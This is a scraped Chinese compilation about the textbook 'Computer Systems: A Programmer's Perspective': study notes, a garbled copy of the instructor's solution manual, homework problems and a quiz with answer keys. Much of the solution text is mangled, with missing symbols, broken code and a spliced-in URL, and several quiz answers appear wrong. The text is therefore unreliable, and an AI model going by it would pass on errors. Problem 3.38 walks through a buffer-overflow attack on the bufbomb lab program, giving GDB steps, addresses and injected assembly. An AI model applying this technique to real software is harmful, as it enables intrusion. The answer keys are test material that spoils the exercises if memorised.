深入理解计算机系统答案【篇一：深入理解计算机系统笔记】(1)对于一个无符号数字 x, 截断它到 k 位的结果就相当于计算 x mod 2^k.(2)在大多数的机器上 ,整数乘法指令相当地慢 ,需要 12 或者更多的始终周期 ,然而其他整数运算－例如加法、减法、位移运算和移位－只需要 1 个时钟周期 .因此 ,编译器使用的一项重要的优化就是试着使用移位和加法运算的组合来代替乘以常数因子的乘法.(3)在大多数的机器上 ,整数除法要比整数乘法更慢－需要 30 或者更多的始终周期 .除以 2 的幂也可以用移位运算来实现 ,只不过我们用的是右移 ,而不是左移 .对于无符号和二进制补码数 ,分别使用逻辑移位和算术移位来达到目的 .1. 注意系统的分类：主流的 ia32( 也就是 x86) ，以及 x86-64( 也就是x64) ，还有种 intel 的与原 32 位系统不兼容的 ia64 。

2. 编译系统由预处理器，编译器，汇编器和链接器组成。

3.单指令多数据并行称为 simd 并行，其扩展为 sse 指令集。

4.x64 上 long 为 8 字节，指针也为 8 字节。

5.无符号数右移必须采用逻辑右移，而有符号数一般采用算术右移。

6.有符号数遇见无符号数会默认强转为无符号数。

7.short 转为 unsigned 时，是先扩展大小再符号转换。

8. 补码非的计算：从左到右将第一个为 1 的位前的所有位取反。

9.负数的补码移位向下舍入。

10.正浮点数能使用整数排序函数来进行排序。

11.浮点加法和乘法不具备结合性，浮点乘法在加法上不具备分配性。

12.预处理器扩展源代码，然后编译器生成源代码的文本汇编代码，汇编器转成二进制汇编码，链接器生成exe 或 dll 或 lib 。

13.寄存器可以保存地址也可以保存值。

注意汇编中的加括号表示为取该地址指向的值，如 (%eax) 指 %eax 中保存的地址指向的值。

14.传送指令的两个操作符不能都指向存储器。

深入理解计算机系统答案（超高清电子版）

深⼊理解计算机系统答案（超⾼清电⼦版）Computer Systems:A Programmer’s Perspective Instructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20032Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not de?ne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x</doc/dde1f034f111f18583d05a59.html pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signi?cant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time. 4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive/doc/dde1f034f111f18583d05a59.html ing C notation,if we de?ne y to be x-1,then we have?y+1equal to-y,and hence?y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.The?nal term has no effect on the-bit representation of,but the middle term represents acode/data/uhp-ans.c Problem2.50Solution:1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..((1<B..((1<Problem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):?0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k??((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/?oatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working through?oating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEE?oating point more concrete.Description8000Smallest value4700Largest denormalized———1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){4unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3?t2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigni?cant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will compute?rst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also set1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt); 1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/ 2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer over?ow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return a? xed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call804847098048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3retWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.We?nd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.We?nd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will over?ow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between the?oating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’。

深入理解计算机系统第二版习题解答CSAPP2.13

深⼊理解计算机系统第⼆版习题解答CSAPP2.13
从20世纪70年代末到80年代末，Digital Equipment的VAX计算机是⼀种⾮常流⾏的机型。

它没有布尔运算AND和OR指令，只有bis(位设置)和bic(位清除)这两种指令。

两种指令的输⼊都是⼀个数据字x和⼀个掩码字m。

它们⽣成⼀个结果z，z是由根据掩码m的位来修改x的位得到的。

使⽤bis指令，这种修改就是在m为1的每个位置上，将z对应的位设置为1。

使⽤bic指令，这种修改就是在m为1的每个位置，将z对应的位设置为0。

只使⽤这两个函数实现C语⾔的按位｜和^运算。

1int bis(int x, int m);
2int bic(int x, int m);
3
4int bool_or(int x, int y)
5 {
6int result = bis(x, y);
7return result;
8 }
9
10int bool_xor(int x, int y)
11 {
12int result = bis(bic(x, y), bic(y, x));
13return result;
14 }。

深入理解计算机系统第二章家庭作业

深⼊理解计算机系统第⼆章家庭作业*2.91遵循位级浮点编码规则，实现具有如下原型的函数：
/* Compute |f|. If f is NaN ,then return f. */
float_bits float_absval (float_bits f);
对于浮点数f，这个函数计算|f|。

如果f是NaN，你的函数应该简单地返回f。

测试你的函数，对参数f可以取的所有2^32个值求值，将结果与你使⽤机器的浮点运算得到的结果相⽐较。

解题过程
****2.95遵循位级浮点编码规则，实现具有如下原型的函数：
/* Compute (float) i */
float_bits float_i2f (int i);
对于参数i，这个函数计算(float)i的位级表⽰。

测试你的函数，对参数f可以取的所有2^32个值求值，将结果与你使⽤机器的浮点运算得到的结果相⽐较。

解题过程。

【免费阅读】深入理解计算机系统配套练习卷

第一章单选题1.2.0_60_1 hello.c在( b )阶段在编译过程中生成hello.oA. 预处理阶段B.编译阶段C.汇编阶段D.链接阶段1.2.0_60_2 hello.c在编译过程中通过编译器(ccl)翻译为文本文件( b )A. hello.oB. hello.sC. hello.iD. hello.c1.4.1_60_3 处理器执行程序时，用( a )来存放程序和程序处理的数据A. 主存B. 寄存器C. 磁盘D. 网盘1.4.1_60_4 处理器在指令的要求下将一个字节从主存复制到寄存器的操作是( b )A. 存储B. 加载C. 操作D. 跳转1.4.1_60_5 利用( b )技术，数据可以不通过处理器直接从磁盘到达主存。

A. 随机存储器B. 高速缓存存储器C. 物理存储器D. 直接存储器1.4.1_60_6 代码和数据被加载到( d )处理器就开始执行main程序中的机器语言指令。

A. 寄存器B. 主存C. 磁盘D. 程序计数器1.6.0_60_7 位于存储器层次结构中的最顶部的是( a )。

A. 寄存器B. 主存C. 磁盘D. 高速缓存1.7.1_60_8 下面( a )是对处理器、主存和I/O设备的抽象表示。

A. 进程B. 虚拟存储器C. 文件D. 虚拟机1.7.3_60_9 当系统从主存将一串字节复制到网络适配器时，数据流经过网络到达( c )。

A. 本地寄存器B. 另一台主机C. 本地磁盘D. 网盘1.8.0_60_10 当调用malloc这样的C标准库函数时，( a )可以在运行时动态的扩展和收缩。

A. 栈B. 堆C. 共享库D. 内核虚拟存储器第二章单选题2.1.2_60_1（a）是计算机中表示信息的最小单位。

A）位 B）字 C）字节 D）字长2.1.4_60_2计算机在内存中存储数据时使用了大、小端模式，请分别写出A=0X123456在不同情况下的首字节是?大端模式?小端模式? x86结构的计算机使用( a)模式。